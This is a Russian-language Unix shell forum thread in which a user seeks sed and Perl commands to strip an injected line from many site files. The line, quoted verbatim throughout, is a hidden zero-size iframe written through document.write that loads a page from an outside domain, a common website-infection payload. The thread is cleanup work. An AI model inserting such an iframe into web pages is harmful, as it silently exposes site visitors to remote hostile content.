The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

форумы  помощь  поиск  регистрация  майллист  вход/выход  слежка  RSS
"Помогите пожалуйста с экранированием в shell"
Вариант для распечатки  
Пред. тема | След. тема 
Форум Программирование под UNIX (Shell скрипты)
Изначальное сообщение [ Отслеживать ]

"Помогите пожалуйста с экранированием в shell"  +/
Сообщение от Aleks (??) on 26-Окт-10, 09:50 
Приветствую уважаемый форум!

Прошу помощи в экранировании
задача заменить строку в множестве файлов (или просто удалить эту строку). Никак не могу справится с экранированием символов в этой строке.

строка такая:
document.write('<ifr'+'ame frameborder="0" height="0" name="frame1" scrolling="no" src="http://sstew.forgottencelebs.com/home/1/" width="0"></ifr'+'ame>');

sed -i 's/....../\ /' /file


Заранее благодарен. Чайник я в shell, извините пожалуйста
Александр

Высказать мнение | Ответить | Правка | Cообщить модератору

Оглавление

Сообщения по теме [Сортировка по времени | RSS]


1. "Помогите пожалуйста с экранированием в shell"  +/
Сообщение от Pahanivo (ok) on 26-Окт-10, 10:21 
sed -E "s/document.write\(\'<ifr\'\+\'ame frameborder=\"0\" height=\"0\" name=\"frame1\" scrolling=\"no\" src=\"http:\/\/sstew\.forgottencelebs\.com ... width=\"0\"><\/ifr\'\+\'ame>\');//g" test

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

2. "Помогите пожалуйста с экранированием в shell"  +/
Сообщение от Aleks (??) on 26-Окт-10, 10:37 
> sed -E "s/document.write\(\'<ifr\'\+\'ame frameborder=\"0\" height=\"0\" name=\"frame1\"
> scrolling=\"no\" src=\"http:\/\/sstew\.forgottencelebs\.com ... width=\"0\"><\/ifr\'\+\'ame>\');//g"
> test

увы,
если:

sed -e "s/document.write\(\'<ifr\'\+\'ame frameborder=\"0\" height=\"0\" name=\"frame1\" scrolling=\"no\" src=\"http:\/\/sstew\.forgottencelebs\.com ... width=\"0\"><\/ifr\'\+\'ame>\');//g" tooltip.js
sed: -e выражение #1, символ 177: Непарная ( или \(

а если экранировать последнюю круглую скобку:
sed -e "s/document.write\(\'<ifr\'\+\'ame frameborder=\"0\" height=\"0\" name=\"frame1\" scrolling=\"no\" src=\"http:\/\/sstew\.forgottencelebs\.com ... width=\"0\"><\/ifr\'\+\'ame>\'\);//g" tooltip.js

то ничего в файле не меняется:

tail -1 tooltip.js
document.write('<ifr'+'ame frameborder="0" height="0" name="frame1" scrolling="no" src="http://sstew.forgottencelebs.com/home/1/" width="0"></ifr'+'ame>');

к сожалению на -Е - вообще ругается, что не знает такой буквы (((


Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

3. "Помогите пожалуйста с экранированием в shell"  +/
Сообщение от Pahanivo (ok) on 26-Окт-10, 11:00 
>> sed -E "s/document.write\(\'<ifr\'\+\'ame frameborder=\"0\" height=\"0\" name=\"frame1\"
>> scrolling=\"no\" src=\"http:\/\/sstew\.forgottencelebs\.com ... width=\"0\"><\/ifr\'\+\'ame>\');//g"
>> test
> увы,
> если:
>  sed -e "s/document.write\(\'<ifr\'\+\'ame frameborder=\"0\" height=\"0\" name=\"frame1\"
> scrolling=\"no\" src=\"http:\/\/sstew\.forgottencelebs\.com ... width=\"0\"><\/ifr\'\+\'ame>\');//g"
> tooltip.js
> sed: -e выражение #1, символ 177: Непарная ( или \(

да, забыл проэкранить - фришный сид отработал нормально
> а если экранировать последнюю круглую скобку:
>  sed -e "s/document.write\(\'<ifr\'\+\'ame frameborder=\"0\" height=\"0\" name=\"frame1\"
> scrolling=\"no\" src=\"http:\/\/sstew\.forgottencelebs\.com ... width=\"0\"><\/ifr\'\+\'ame>\'\);//g"
> tooltip.js
> то ничего в файле не меняется:
>  tail -1 tooltip.js
> document.write('<ifr'+'ame frameborder="0" height="0" name="frame1" scrolling="no"
> src="http://sstew.forgottencelebs.com/home/1/" width="0"></ifr'+'ame>');

оно и не будет там менятся :)
> к сожалению на -Е - вообще ругается, что не знает такой буквы
> (((

реализация сида отличается в разных осях

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

4. "Помогите пожалуйста с экранированием в shell"  +/
Сообщение от phpcoder email(ok) on 26-Окт-10, 11:15 
> реализация сида отличается в разных осях

Поэтому используйте Perl


Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

6. "Помогите пожалуйста с экранированием в shell"  +/
Сообщение от Aleks (??) on 26-Окт-10, 11:26 
>> реализация сида отличается в разных осях
> Поэтому используйте Perl

мне бы хоть с чем-то разобраться..
на эту простенькую задачу я уже убил много часов
подскажите ПОЖАЛУЙСТА конкретную строчку Перла, под конкретно ЭТУ строчку. Спасибо

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

7. "Помогите пожалуйста с экранированием в shell"  +/
Сообщение от phpcoder email(ok) on 26-Окт-10, 11:35 
>>> реализация сида отличается в разных осях
>> Поэтому используйте Perl
> мне бы хоть с чем-то разобраться..
> на эту простенькую задачу я уже убил много часов
> подскажите ПОЖАЛУЙСТА конкретную строчку Перла, под конкретно ЭТУ строчку. Спасибо

perl -pe "s|document.write\('<ifr'\+'ame frameborder=\"0\" height=\"0\" name=\"frame1\" scrolling=\"no\" src=\"http://sstew.forgottencelebs.com/home/1/\" width=\"0\"></ifr'\+'ame>'\);||" -i test.txt

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

8. "Помогите пожалуйста с экранированием в shell"  +/
Сообщение от Aleks (??) on 26-Окт-10, 11:40 

> perl -pe "s|document.write\('<ifr'\+'ame frameborder=\"0\" height=\"0\" name=\"frame1\"
> scrolling=\"no\" src=\"http://sstew.forgottencelebs.com/home/1/\" width=\"0\"></ifr'\+'ame>'\);||"
> -i test.txt

увы, ошибка один-в-один

Нет соответствия для '.

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

9. "Помогите пожалуйста с экранированием в shell"  +/
Сообщение от phpcoder email(ok) on 26-Окт-10, 12:09 
>> perl -pe "s|document.write\('<ifr'\+'ame frameborder=\"0\" height=\"0\" name=\"frame1\"
>> scrolling=\"no\" src=\"http://sstew.forgottencelebs.com/home/1/\" width=\"0\"></ifr'\+'ame>'\);||"
>> -i test.txt
> увы, ошибка один-в-один

А у меня отработало. Zsh, Ubuntu.


Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

10. "Помогите пожалуйста с экранированием в shell"  +/
Сообщение от Aleks (??) on 26-Окт-10, 13:32 
>>> perl -pe "s|document.write\('<ifr'\+'ame frameborder=\"0\" height=\"0\" name=\"frame1\"
>>> scrolling=\"no\" src=\"http://sstew.forgottencelebs.com/home/1/\" width=\"0\"></ifr'\+'ame>'\);||"
>>> -i test.txt
>> увы, ошибка один-в-один
> А у меня отработало. Zsh, Ubuntu.

Опробовал на CentOS - заработало, спасибо))
Подскажите, а как заставить эту конструкцию обработать таким образом все файлы в папке и ниже?


Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

11. "Помогите пожалуйста с экранированием в shell"  +/
Сообщение от Aleks (??) on 26-Окт-10, 14:22 
>>>> perl -pe "s|document.write\('<ifr'\+'ame frameborder=\"0\" height=\"0\" name=\"frame1\"
>>>> scrolling=\"no\" src=\"http://sstew.forgottencelebs.com/home/1/\" width=\"0\"></ifr'\+'ame>'\);||"
>>>> -i test.txt
>>> увы, ошибка один-в-один
>> А у меня отработало. Zsh, Ubuntu.
> Опробовал на CentOS - заработало, спасибо))
> Подскажите, а как заставить эту конструкцию обработать таким образом все файлы в
> папке и ниже?

отвечу сам себе :)


#!/bin/bash
for i in ` find /tmp/test \( -name "*php" -o -name "*js" \) -type f`
do
/usr/bin/perl -pe "s|document.write\('<ifr'\+'ame frameborder=\"0\" height=\"0\" name=\"frame1\" scrolling=\"no\" src=\"http://sstew.forgottencelebs.com/home/1/\" width=\"0\"></ifr'\+'ame>'\);||" -i $i
done

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

5. "Помогите пожалуйста с экранированием в shell"  +/
Сообщение от Aleks (??) on 26-Окт-10, 11:23 

> оно и не будет там менятся :)

-i тоже не меняется
-e -на экране тоже не меняется
это на CentOS
на freebsd 7.2 не отрабатывает
пишет
не соответствия ."

%-(

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру